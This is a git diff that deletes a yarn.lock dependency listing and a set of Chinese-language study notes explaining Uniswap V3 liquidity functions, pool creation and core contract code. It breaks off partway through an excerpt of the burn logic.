-  integrity sha512-mwEVBDUVODlsQQ5dfuLUS5/Tf7jqUKyhKYHmVi4fPB6bDMOfWvUPJmKgS1Z7Za/sOI3vzWt4+O7yCiL/70MogA==
-  dependencies:
-    tslib "^1.9.3"
-
-apollo-link-http-common@^0.2.16:
-  version "0.2.16"
-  resolved "https://registry.yarnpkg.com/apollo-link-http-common/-/apollo-link-http-common-0.2.16.tgz#756749dafc732792c8ca0923f9a40564b7c59ecc"
-  integrity sha512-2tIhOIrnaF4UbQHf7kjeQA/EmSorB7+HyJIIrUjJOKBgnXwuexi8aMecRlqTIDWcyVXCeqLhUnztMa6bOH/jTg==
-  dependencies:
-    apollo-link "^1.2.14"
-    ts-invariant "^0.4.0"
-    tslib "^1.9.3"
-
-apollo-link-http@^1.5.17:
-  version "1.5.17"
-  resolved "https://registry.yarnpkg.com/apollo-link-http/-/apollo-link-http-1.5.17.tgz#499e9f1711bf694497f02c51af12d82de5d8d8ba"
-  integrity sha512-uWcqAotbwDEU/9+Dm9e1/clO7hTB2kQ/94JYcGouBVLjoKmTeJTUPQKcJGpPwUjZcSqgYicbFqQSoJIW0yrFvg==
-  dependencies:
-    apollo-link "^1.2.14"
-    apollo-link-http-common "^0.2.16"
-    tslib "^1.9.3"
-
-apollo-link-ws@^1.0.20:
-  version "1.0.20"
-  resolved "https://registry.yarnpkg.com/apollo-link-ws/-/apollo-link-ws-1.0.20.tgz#dfad44121f8445c6d7b7f8101a1b24813ba008ed"
-  integrity sha512-mjSFPlQxmoLArpHBeUb2Xj+2HDYeTaJqFGOqQ+I8NVJxgL9lJe84PDWcPah/yMLv3rB7QgBDSuZ0xoRFBPlySw==
-  dependencies:
-    apollo-link "^1.2.14"
-    tslib "^1.9.3"
-
-apollo-link@^1.2.14:
-  version "1.2.14"
-  resolved "https://registry.yarnpkg.com/apollo-link/-/apollo-link-1.2.14.tgz#3feda4b47f9ebba7f4160bef8b977ba725b684d9"
-  integrity sha512-p67CMEFP7kOG1JZ0ZkYZwRDa369w5PIjtMjvrQd/HnIV8FRsHRqLqK+oAZQnFa1DDdZtOtHTi+aMIW6EatC2jg==
-  dependencies:
-    apollo-utilities "^1.3.0"
-    ts-invariant "^0.4.0"
-    tslib "^1.9.3"
-    zen-observable-ts "^0.8.21"
-
-apollo-utilities@^1.3.0:
-  version "1.3.4"
-  resolved "https://registry.yarnpkg.com/apollo-utilities/-/apollo-utilities-1.3.4.tgz#6129e438e8be201b6c55b0f13ce49d2c7175c9cf"
-  integrity sha512-pk2hiWrCXMAy2fRPwEyhvka+mqwzeP60Jr1tRYi5xru+3ko94HI9o6lK0CT33/w4RDlxWchmdhDCrvdr+pHCig==
-  dependencies:
-    "@wry/equality" "^0.1.2"
-    fast-json-stable-stringify "^2.0.0"
-    ts-invariant "^0.4.0"
-    tslib "^1.10.0"
-
-backo2@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/backo2/-/backo2-1.0.2.tgz#31ab1ac8b129363463e35b3ebb69f4dfcfba7947"
-  integrity sha1-MasayLEpNjRj41s+u2n038+6eUc=
-
-bignumber.js@9.0.0:
-  version "9.0.0"
-  resolved "https://registry.yarnpkg.com/bignumber.js/-/bignumber.js-9.0.0.tgz#805880f84a329b5eac6e7cb6f8274b6d82bdf075"
-  integrity sha512-t/OYhhJ2SD+YGBQcjY8GzzDHEk9f3nerxjtfa6tlMXfe7frs/WozhvCNoGvpM0P3bNf3Gq5ZRMlGr5f3r4/N8A==
-
-core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-eventemitter3@^3.1.0:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-3.1.2.tgz#2d3d48f9c346698fce83a85d7d664e98535df6e7"
-  integrity sha512-tvtQIeLVHjDkJYnzf2dgVMxfuSGJeM/7UCG17TT4EumTfNtF+0nebF/4zWOIkCreAbtNqhGEboB6BWrwqNaw4Q==
-
-fast-json-stable-stringify@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
-
-graphql-tag@^2.12.4:
-  version "2.12.4"
-  resolved "https://registry.yarnpkg.com/graphql-tag/-/graphql-tag-2.12.4.tgz#d34066688a4f09e72d6f4663c74211e9b4b7c4bf"
-  integrity sha512-VV1U4O+9x99EkNpNmCUV5RZwq6MnK4+pGbRYWG+lA/m3uo7TSqJF81OkcOP148gFP6fzdl7JWYBrwWVTS9jXww==
-  dependencies:
-    tslib "^2.1.0"
-
-graphql@^15.5.1:
-  version "15.5.1"
-  resolved "https://registry.yarnpkg.com/graphql/-/graphql-15.5.1.tgz#f2f84415d8985e7b84731e7f3536f8bb9d383aad"
-  integrity sha512-FeTRX67T3LoE3LWAxxOlW2K3Bz+rMYAC18rRguK4wgXaTZMiJwSUwDmPFo3UadAKbzirKIg5Qy+sNJXbpPRnQw==
-
-inherits@~2.0.3:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
-
-isarray@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-iterall@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/iterall/-/iterall-1.3.0.tgz#afcb08492e2915cbd8a0884eb93a8c94d0d72fea"
-  integrity sha512-QZ9qOMdF+QLHxy1QIpUHUU1D5pS2CG2P69LF6L6CPjPYA/XMOmKV3PZpawHoAjHNyB0swdVTRxdYT4tbBbxqwg==
-
-mysql@^2.18.1:
-  version "2.18.1"
-  resolved "https://registry.yarnpkg.com/mysql/-/mysql-2.18.1.tgz#2254143855c5a8c73825e4522baf2ea021766717"
-  integrity sha512-Bca+gk2YWmqp2Uf6k5NFEurwY/0td0cpebAucFpY/3jhrwrVGuxU2uQFCHjU19SJfje0yQvi+rVWdq78hR5lig==
-  dependencies:
-    bignumber.js "9.0.0"
-    readable-stream "2.3.7"
-    safe-buffer "5.1.2"
-    sqlstring "2.3.1"
-
-node-fetch@^2.6.1:
-  version "2.6.1"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
-  integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
-
-process-nextick-args@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
-
-readable-stream@2.3.7:
-  version "2.3.7"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-sqlstring@2.3.1:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/sqlstring/-/sqlstring-2.3.1.tgz#475393ff9e91479aea62dcaf0ca3d14983a7fb40"
-  integrity sha1-R1OT/56RR5rqYtyvDKPRSYOn+0A=
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
-  dependencies:
-    safe-buffer "~5.1.0"
-
-subscriptions-transport-ws@^0.9.19:
-  version "0.9.19"
-  resolved "https://registry.yarnpkg.com/subscriptions-transport-ws/-/subscriptions-transport-ws-0.9.19.tgz#10ca32f7e291d5ee8eb728b9c02e43c52606cdcf"
-  integrity sha512-dxdemxFFB0ppCLg10FTtRqH/31FNRL1y1BQv8209MK5I4CwALb7iihQg+7p65lFcIl8MHatINWBLOqpgU4Kyyw==
-  dependencies:
-    backo2 "^1.0.2"
-    eventemitter3 "^3.1.0"
-    iterall "^1.2.1"
-    symbol-observable "^1.0.4"
-    ws "^5.2.0 || ^6.0.0 || ^7.0.0"
-
-symbol-observable@^1.0.4:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804"
-  integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==
-
-ts-invariant@^0.4.0:
-  version "0.4.4"
-  resolved "https://registry.yarnpkg.com/ts-invariant/-/ts-invariant-0.4.4.tgz#97a523518688f93aafad01b0e80eb803eb2abd86"
-  integrity sha512-uEtWkFM/sdZvRNNDL3Ehu4WVpwaulhwQszV8mrtcdeE8nN00BV9mAmQ88RkrBhFgl9gMgvjJLAQcZbnPXI9mlA==
-  dependencies:
-    tslib "^1.9.3"
-
-tslib@^1.10.0, tslib@^1.9.3:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
-  integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==
-
-tslib@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.3.0.tgz#803b8cdab3e12ba581a4ca41c8839bbb0dacb09e"
-  integrity sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==
-
-urql@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/urql/-/urql-2.0.4.tgz#8d6d9f98521c45afc56ca1373141a5cc767af49f"
-  integrity sha512-ARITb+l+DsGbK/y3mxQjbC4lw8Z4IqFfk4Va8Eg1rDpN1HhOkMTxFA/YvGZoQIU1re/SsARLe//TEBtsgH0/CQ==
-  dependencies:
-    "@urql/core" "^2.1.4"
-    wonka "^4.0.14"
-
-util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-wonka@^4.0.14:
-  version "4.0.15"
-  resolved "https://registry.yarnpkg.com/wonka/-/wonka-4.0.15.tgz#9aa42046efa424565ab8f8f451fcca955bf80b89"
-  integrity sha512-U0IUQHKXXn6PFo9nqsHphVCE5m3IntqZNB9Jjn7EB1lrR7YTDY3YWgFvEvwniTzXSvOH/XMzAZaIfJF/LvHYXg==
-
-"ws@^5.2.0 || ^6.0.0 || ^7.0.0", ws@^7.5.0:
-  version "7.5.0"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.0.tgz#0033bafea031fb9df041b2026fc72a571ca44691"
-  integrity sha512-6ezXvzOZupqKj4jUqbQ9tXuJNo+BR2gU8fFRk3XCP3e0G6WT414u5ELe6Y0vtp7kmSJ3F7YWObSNr1ESsgi4vw==
-
-zen-observable-ts@^0.8.21:
-  version "0.8.21"
-  resolved "https://registry.yarnpkg.com/zen-observable-ts/-/zen-observable-ts-0.8.21.tgz#85d0031fbbde1eba3cd07d3ba90da241215f421d"
-  integrity sha512-Yj3yXweRc8LdRMrCC8nIc4kkjWecPAUVh0TI0OUrWXx6aX790vLcDlWca6I4vsyCGH3LpWxq0dJRcMOFoVqmeg==
-  dependencies:
-    tslib "^1.9.3"
-    zen-observable "^0.8.0"
-
-zen-observable@^0.8.0:
-  version "0.8.15"
-  resolved "https://registry.yarnpkg.com/zen-observable/-/zen-observable-0.8.15.tgz#96415c512d8e3ffd920afd3889604e30b9eaac15"
-  integrity sha512-PQ2PC7R9rslx84ndNBZB/Dkv8V8fZEpk83RLgXtYd0fwUgEjseMn1Dgajh2x6S8QbZAFa9p2qVCEuYZNgve0dQ==
diff --git a/Learn-DEFI-Uniswap-V3/liqudity.md b/Learn-DEFI-Uniswap-V3/liqudity.md
deleted file mode 100644
index 190cf0ed5..000000000
--- a/Learn-DEFI-Uniswap-V3/liqudity.md
+++ /dev/null
@@ -1,78 +0,0 @@
-# Uniswap V3
-## 地址跟踪
-
- 主网weth地址：0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
- 主网USDT地址：0xdac17f958d2ee523a2206206994597c13d831ec7
- NonfungiblePositionManager: 0xc36442b4a4522e871399cd717abdd847ab11fe88
-
-1.首次添加流动性：mint
-```
-Function: mint((address,address,uint24,int24,int24,uint256,uint256,uint256,uint256,address,uint256))
-
- struct MintParams {
-        address token0;   //
-        address token1;   //
-        uint24 fee;
-        int24 tickLower;   //
-        int24 tickUpper;
-        uint256 amount0Desired;   //提供的 token0 数
-        uint256 amount1Desired;   //提供的 token1 数
-        uint256 amount0Min;
-        uint256 amount1Min;
-        address recipient;
-        uint256 deadline;
-    }
-
-会发出event事件
- emit Mint (address sender, index_topic_1 address owner, index_topic_2 int24 tickLower, index_topic_3 int24 tickUpper, uint128 amount, uint256 amount0, uint256 amount1)
- emit IncreaseLiquidity(tokenId, liquidity, amount0, amount1);
-以及 获取id事件
-Transfer (index_topic_1 address from, index_topic_2 address to, index_topic_3 uint256 tokenId)
-```
-2.添加流动性 increaseLiquidity
-```
-struct IncreaseLiquidityParams {
-        uint256 tokenId;
-        uint256 amount0Desired;
-        uint256 amount1Desired;
-        uint256 amount0Min;
-        uint256 amount1Min;
-        uint256 deadline;
-    }
- emit IncreaseLiquidity(params.tokenId, liquidity, amount0, amount1);
-监听方法和event均可
-```
-
-3 移出流动性 decreaseLiquidity
-```
-Function: decreaseLiquidity((uint256,uint128,uint256,uint256,uint256))
- 
-   struct DecreaseLiquidityParams {
-        uint256 tokenId;
-        uint128 liquidity;
-        uint256 amount0Min;
-        uint256 amount1Min;
-        uint256 deadline;
-    }
-
-由于传入是liquidity, 解析方法没用，监听event
-emit DecreaseLiquidity(params.tokenId, params.liquidity, amount0, amount1);
-或者 UniswapV3Pool.sol合约的burn  
- emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);
-
-```
-
-## 地址跟踪：
-以 `0x6b50ed5c2f8ab4dd7a02b7cdc4e57e140292e10f` 地址为例
-
-1  添加流动性
-https://etherscan.io/tx/0xb340ded02a373b71104ebf0e7acfe53d4f05bbf9102a15f72fa10dabdce95c53
-nft tokenId 52408
-2 减少流动性
-https://etherscan.io/tx/0xd6b52e256ca4f5afe4c86da750d4b2df8d88d067ac89722b345b3ca8be60a68e
-
-decreaseLiquidity
-collect
-
-3 添加流动性
-
diff --git a/Learn-DEFI-Uniswap-V3/oracle.md b/Learn-DEFI-Uniswap-V3/oracle.md
deleted file mode 100644
index feea4f1ae..000000000
--- a/Learn-DEFI-Uniswap-V3/oracle.md
+++ /dev/null
@@ -1,4 +0,0 @@
-# Uniswap V3
-## 预言机介绍
-
-https://liaoph.com/uniswap-v3-5/
diff --git a/Learn-DEFI-Uniswap-V3/pool.md b/Learn-DEFI-Uniswap-V3/pool.md
deleted file mode 100644
index 7ca0f57b1..000000000
--- a/Learn-DEFI-Uniswap-V3/pool.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# Uniswap V3
-## pool介绍
-
-创建交易对，就是创建一个新的合约，作为流动池来提供交易功能。创建合约的步骤是：
-```
-pool = address(new UniswapV3Pool{salt: keccak256(abi.encode(token0, token1, fee))}());
-```
-
-pool合约负责池子的所有操作：
-```
-  function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
-
-  function mint(
-        address recipient,
-        int24 tickLower,
-        int24 tickUpper,
-        uint128 amount,
-        bytes calldata data
-    ) external override lock returns (uint256 amount0, uint256 amount1) {
-
- function collect(
-        address recipient,
-        int24 tickLower,
-        int24 tickUpper,
-        uint128 amount0Requested,
-        uint128 amount1Requested
-    ) external override lock returns (uint128 amount0, uint128 amount1)
-
-
- function burn(
-        int24 tickLower,
-        int24 tickUpper,
-        uint128 amount
-    ) external override lock returns (uint256 amount0, uint256 amount1) 
-
-
-   function swap(
-        address recipient,
-        bool zeroForOne,
-        int256 amountSpecified,
-        uint160 sqrtPriceLimitX96,
-        bytes calldata data
-    ) external override noDelegateCall returns (int256 amount0, int256 amount1)
-
- function flash(
-        address recipient,
-        uint256 amount0,
-        uint256 amount1,
-        bytes calldata data
-    ) external override lock noDelegateCall
-
-```
\ No newline at end of file
diff --git a/Learn-DEFI-Uniswap-V3/readme.md b/Learn-DEFI-Uniswap-V3/readme.md
deleted file mode 100644
index d9d44c27c..000000000
--- a/Learn-DEFI-Uniswap-V3/readme.md
+++ /dev/null
@@ -1,380 +0,0 @@
-# Uniswap V3
-## 合约分析
-  [合约结构图](./img/640.png)
-
- 集成uniswap V3 以及   uniswap V3 源码剖析
- Uniswap v3 在代码层面的架构和 v2 基本保持一致，将合约分成了两个仓库：
- - uniswap-v3-core
- - uniswap-v3-periphery
- **core仓库**
-- UniswapV3Factory是交易池(UniswapV3Pool)统一创建的接口。
-- UniswapV3Pool由UniswapV3PoolDeployer统一部署。  实现代币交易，流动性管理，交易手续费的收取，oracle 数据管理。接口的实现粒度比较低，不适合普通用户使用，错误的调用其中的接口可能会造成经济上的损失。
-UniswapV3Pool是核心逻辑，管理了Tick和Position，实现流动性管理以及一个交易池中swap功能实现。
-
-**peirphery仓库**
-- NonfungiblePositionManager负责交易池的创建以及流动性的添加删除，用来增加/移除/修改 Pool 的流动性，并且通过 NFT token 将流动性代币化。使用 ERC721 token（v2 使用的是 ERC20）的原因是同一个池的多个流动性并不能等价替换（v3 的集中流性动功能）。
-- SwapRouter是swap路由的管理。提供代币交易的接口，它是对 UniswapV3Pool 合约中交易相关接口的进一步封装，前端界面主要与这个合约来进行对接。
-
-每个Pool中的Position都做成了ERC721的Token。也就是说，每个Position都有独立的ERC721的Token ID。
-
- UniswapV3Pool 池子主要有 swap , mint ,collect, burn;
-
-router合约对外接口 ,交易
-[合约接口图](./img/create-pool.png)
-```
- IUniswapRouter public constant uniswapRouter = IUniswapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
-
-```
-### 创建交易池
- NonfungiblePositionManager负责交易池的创建以及流通性的添加/删除。
- 每个交易池的关键信息由PoolKey表示， token0, token1, fee 构成一个池子。
- 所有交易池中的Position都归总管理，并赋予一个全局唯一的编号（_nextId)，从1开始。 每个Position由创建地址以及边界唯一确定：
- ```
- function compute(
-      address owner,
-      int24 tickLower,
-      int24 tickUpper
- ) internal pure returns (bytes32) {
-      return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
- }
-
- 通过createAndInitializePoolIfNecessary函数创建一个交易池：
-
-- createPool
-核心逻辑是调用UniswapV3PoolDeployer的deploy函数创建UniswapV3Pool智能合约并设置两个token信息，交易费用信息和tick的步长信息：
-接着查看deploy函数，创建UniswapV3Pool智能合约。注意每个交易池的地址的设置，是token0/token1/fee的编码后的结果。也就是说，每个交易池有唯一的地址，并且和PoolKey信息保持一致。通过这种方法，从PoolKey信息可以反推出交易池的地址。
- ```
-- initialize
-每个交易池的initialize函数初始化交易池的参数和状态。所有交易池的参数和状态用一个数据结构Slot0来记录：
-
-### 添加流动性
- NonfungiblePositionManager的mint函数实现初始的流动性的添加，increaseLiquidity函数实现了流动性的增加。这两个函数的逻辑基本一致，都是通过调用addLiquidity函数实现。mint需要额外创建ERC721的token。
- addLiquidity实现在LiquidityManagement.sol：
-```
-struct AddLiquidityParams {
-    address token0;     // token0 的地址
-    address token1;     // token1 的地址
-    uint24 fee;         // 交易费率
-    address recipient;  // 流动性的所属人地址
-    int24 tickLower;    // 流动性的价格下限（以 token0 计价），这里传入的是 tick index
-    int24 tickUpper;    // 流动性的价格上线（以 token0 计价），这里传入的是 tick index
-    uint128 amount;     // 流动性 L 的值
-    uint256 amount0Max; // 提供的 token0 上限数
-    uint256 amount1Max; // 提供的 token1 上限数
-}
-
- /// @notice Add liquidity to an initialized pool
-function addLiquidity(AddLiquidityParams memory params)
-    internal
-    returns (
-        uint256 amount0,
-        uint256 amount1,
-        IUniswapV3Pool pool
-    )
-{
-    PoolAddress.PoolKey memory poolKey =
-        PoolAddress.PoolKey({token0: params.token0, token1: params.token1, fee: params.fee});
-
-    // 这里不需要访问 factory 合约，可以通过 token0, token1, fee 三个参数计算出 pool 的合约地址
-    pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
-
-    (amount0, amount1) = pool.mint(
-        params.recipient,
-        params.tickLower,
-        params.tickUpper,
-        params.amount,
-        // 这里是 pool 合约回调所使用的参数
-        abi.encode(MintCallbackData({poolKey: poolKey, payer: msg.sender}))
-    );
-
-    require(amount0 <= params.amount0Max);
-    require(amount1 <= params.amount1Max);
-}
-```
-流动性添加的核心逻辑由交易池的mint函数实现。mint函数又是由两个子函数实现：_modifyPosition和_updatePosition。
-- _updatePosition
- _updatePosition 创建或修改一个用户的 Position
-流动性的状态更新是通过流动性(position)边界上的Tick的liquidityNet来表示：
-
-_updatePosition主要就是更新Poisition对应边界的Tick信息：
-```
-function _updatePosition(
-    address owner,
-    int24 tickLower,
-    int24 tickUpper,
-    int128 liquidityDelta,
-    int24 tick
-) private returns (Position.Info storage position) {
-    // 获取用户的 Postion
-    position = positions.get(owner, tickLower, tickUpper);
-    ...
-
-    // 根据传入的参数修改 Position 对应的 lower/upper tick 中
-    // 的数据，这里可以是增加流动性，也可以是移出流动性
-    bool flippedLower;
-    bool flippedUpper;
-    if (liquidityDelta != 0) {
-        uint32 blockTimestamp = _blockTimestamp();
-
-        // 更新 lower tikc 和 upper tick
-        // fippedX 变量表示是此 tick 的引用状态是否发生变化，即
-        // 被引用 -> 未被引用 或
-        // 未被引用 -> 被引用
-        // 后续需要根据这个变量的值来更新 tick 位图
-        flippedLower = ticks.update(
-            tickLower,
-            tick,
-            liquidityDelta,
-            _feeGrowthGlobal0X128,
-            _feeGrowthGlobal1X128,
-            false,
-            maxLiquidityPerTick
-        );
-        flippedUpper = ticks.update(
-            tickUpper,
-            tick,
-            liquidityDelta,
-            _feeGrowthGlobal0X128,
-            _feeGrowthGlobal1X128,
-            true,
-            maxLiquidityPerTick
-        );
-
-        // 如果一个 tick 第一次被引用，或者移除了所有引用
-        // 那么更新 tick 位图
-        if (flippedLower) {
-            tickBitmap.flipTick(tickLower, tickSpacing);
-            secondsOutside.initialize(tickLower, tick, tickSpacing, blockTimestamp);
-        }
-        if (flippedUpper) {
-            tickBitmap.flipTick(tickUpper, tickSpacing);
-            secondsOutside.initialize(tickUpper, tick, tickSpacing, blockTimestamp);
-        }
-    }
-    ...
-    // 更新 position 中的数据
-    position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);
-
-    // 如果移除了对 tick 的引用，那么清除之前记录的元数据
-    // 这只会发生在移除流动性的操作中
-    if (liquidityDelta < 0) {
-        if (flippedLower) {
-            ticks.clear(tickLower);
-            secondsOutside.clear(tickLower, tickSpacing);
-        }
-        if (flippedUpper) {
-            ticks.clear(tickUpper);
-            secondsOutside.clear(tickUpper, tickSpacing);
-        }
-    }
-}
-```
-先忽略费率相关的操作，这个函数所做的操作是：
-
-    - 添加/移除流动性时，先更新这个 Positon 对应的 lower/upper tick 中记录的元数据
-    - 更新 position
-    - 根据需要更新 tick 位图
- Postion 是以 owner, lower tick, uppper tick 作为键来存储的，注意这里的 owner 实际上是 NonfungiblePositionManager 合约的地址。这样当多个用户在同一个价格区间提供流动性时，
- 在底层的 UniswapV3Pool 合约中会将他们合并存储。而在 NonfungiblePositionManager 合约中会按用户来区别每个用户拥有的 Position。
-
-- _modifyPosition
-_modifyPosition 函数在调用 _updatePosition 更新完 Position 后，会计算出此次提供流动性具体所需的 x token 和 y token 数量。
-```
-function _modifyPosition(ModifyPositionParams memory params)
-    private
-    noDelegateCall
-    returns (
-        Position.Info storage position,
-        int256 amount0,
-        int256 amount1
-    )
-{
-    ...
-
-    if (params.liquidityDelta != 0) {
-        // 计算三种情况下 amount0 和 amount1 的值，即 x token 和 y token 的数量
-        if (_slot0.tick < params.tickLower) {
-            amount0 = SqrtPriceMath.getAmount0Delta(
-                // 计算 lower/upper tick 对应的价格
-                TickMath.getSqrtRatioAtTick(params.tickLower),
-                TickMath.getSqrtRatioAtTick(params.tickUpper),
-                params.liquidityDelta
-            );
-        } else if (_slot0.tick < params.tickUpper) {
-            // current tick is inside the passed range
-            uint128 liquidityBefore = liquidity; // SLOAD for gas optimization
-
-            ...
-
-            amount0 = SqrtPriceMath.getAmount0Delta(
-                _slot0.sqrtPriceX96,
-                TickMath.getSqrtRatioAtTick(params.tickUpper),
-                params.liquidityDelta
-            );
-            amount1 = SqrtPriceMath.getAmount1Delta(
-                TickMath.getSqrtRatioAtTick(params.tickLower),
-                _slot0.sqrtPriceX96,
-                params.liquidityDelta
-            );
-
-            liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
-        } else {
-            amount1 = SqrtPriceMath.getAmount1Delta(
-                TickMath.getSqrtRatioAtTick(params.tickLower),
-                TickMath.getSqrtRatioAtTick(params.tickUpper),
-                params.liquidityDelta
-            );
-        }
-    }
-}
-```
-代码将计算的过程封装在了 SqrtPriceMath 库中，getAmount0Delta 和 getAmount1Delta 分别对应公式,这两个函数中主要是封装了很多数学计算，Uniswap v3 参考这里实现了一个精度较高的 a⋅bc 的算法，封装在 FullMath 库中。
-
-除了更新Tick信息外，_modifyPosition需要计算在当前价格情况下一定流动性对应资金金额。当前的价格存在_slot0.tick中，所以大体的逻辑如下：
-```
-if (_slot0.tick < params.tickLower) {
-...
-} else if (_slot0.tick < params.tickUpper) {
-...
-liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
-} else {
-...
-}
-```
-在添加流动性时，如果添加的流动性包括当前的价格，当前的流动性需要更新。也就是上述代码的liquidity的更新。每个交易池中的liquidity保存了当前价格对应的流动性总和。
-
-
-_modifyPosition 调用完成后，会返回 x token, 和 y token 的数量。完成流动性添加
-
-```
-function mint(
-    address recipient,
-    int24 tickLower,
-    int24 tickUpper,
-    uint128 amount,
-    bytes calldata data
-) external override lock returns (uint256 amount0, uint256 amount1) {
-    require(amount > 0);
-    (, int256 amount0Int, int256 amount1Int) =
-        _modifyPosition(
-            ModifyPositionParams({
-                owner: recipient,
-                tickLower: tickLower,
-                tickUpper: tickUpper,
-                liquidityDelta: int256(amount).toInt128()
-            })
-        );
-
-    amount0 = uint256(amount0Int);
-    amount1 = uint256(amount1Int);
-
-    uint256 balance0Before;
-    uint256 balance1Before;
-    // 获取当前池中的 x token, y token 余额
-    if (amount0 > 0) balance0Before = balance0();
-    if (amount1 > 0) balance1Before = balance1();
-    // 将需要的 x token 和 y token 数量传给回调函数，这里预期回调函数会将指定数量的 token 发送到合约中
-    IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);
-    // 回调完成后，检查发送至合约的 token 是否复合预期，如果不满足检查则回滚交易
-    if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');
-    if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');
-
-    emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);
-}
-```
-### 删除流动性
-调用交易池的burn函数。burn函数的核心也是调用_modifyPosition函数实现流动性的调整。_modifyPosition函数实现了正负流动性的调整。
-
-在删除完流动性后，每个流动性对应需要取回的资金金额暂时存储在tokensOwed0和tokensOwed1变量：
-```
-position.tokensOwed0 +=
-         uint128(amount0) +
-         uint128(
-             FullMath.mulDiv(
-                 feeGrowthInside0LastX128 - position.feeGrowthInside0LastX128,
-                 position.liquidity,
-                 FixedPoint128.Q128
-             )
-         );
